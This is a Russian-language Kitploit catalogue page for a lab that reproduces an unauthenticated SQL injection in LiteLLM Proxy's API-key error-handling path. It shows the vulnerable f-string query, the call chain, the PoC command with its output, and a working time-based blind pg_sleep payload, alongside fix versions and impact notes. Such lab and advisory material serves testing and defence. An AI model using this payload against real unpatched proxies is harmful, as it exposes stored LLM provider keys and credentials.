Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42208_lab — Среда воспроизведения критической SQL-инъекции в аутентификации API-ключей LiteLLM Proxy, с time-based blind PoC и Docker-настройкой для тестирования. | Kitploit
Инструменты/GitHubGitHub/imjdl/cve-2026-42208_lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

Среда воспроизведения критической SQL-инъекции в аутентификации API-ключей LiteLLM Proxy, с time-based blind PoC и Docker-настройкой для тестирования.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SQL-инъекция в LiteLLM Proxy (GHSA-r75f-5x8p-qvmc)

Среда воспроизведения SQL-инъекции в процессе аутентификации по API-ключам в LiteLLM Proxy.

Сводка по уязвимости

ПунктДетали
УведомлениеGHSA-r75f-5x8p-qvmc
ТипSQL-инъекция (CWE-89)
КритичностьКритическая
Затронутые версииlitellm >=1.81.16, <1.83.7
Исправлено вlitellm >=1.83.7 (коммит 4dc416ee74)

Вектор атаки

Инъекция происходит в пути обратного вызова при обработке ошибок, а не в основном потоке аутентификации. Когда отправляется токен без префикса sk-, проверка завершается ошибкой, и исходный (нехешированный) токен проходит через цепочку обратных вызовов при сбое в SQL-запрос, использующий f-string интерполяцию:

root@kitploit:~
HTTP-запрос: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") завершается ошибкой
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← ИНЪЕКЦИЯ

Основной путь аутентификации через sk- не эксплуатируем, поскольку токены хешируются алгоритмом SHA256 до попадания в запрос, что даёт только символы [0-9a-f].

Воспроизведение

1. Запустите уязвимое окружение

root@kitploit:~
docker compose up -d

Это запустит LiteLLM Proxy (v1.83.3-stable) с бэкендом PostgreSQL.

2. Запустите PoC

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Ожидаемый вывод

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

Технические детали

Конструкция полезной нагрузки

Функция pg_sleep() в PostgreSQL возвращает void, который не может использоваться в булевом контексте (OR). Полезная нагрузка оборачивает её в подзапрос, чтобы избежать ошибки типа:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

Она внедряется в запрос к combined_view в litellm/proxy/utils.py:

root@kitploit:~
# Уязвимый код (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← f-string интерполяция пользовательского ввода
"""

Воздействие

  • Без аутентификации — не требуется действительный API-ключ
  • Доступ на чтение к базе данных — извлечение любых данных через слепую инъекцию (API-ключи, учётные данные, конфигурация)
  • Все ключи LLM-провайдеров, управляемые прокси, находятся под угрозой

Ссылки

  • Уведомление GitHub Security Advisory
  • Исправляющий коммит 4dc416ee74
  • Отчёт Sysdig TRT об угрозах — зафиксирована эксплуатация в дикой природе в течение 36 часов после раскрытия
Скачать инструмент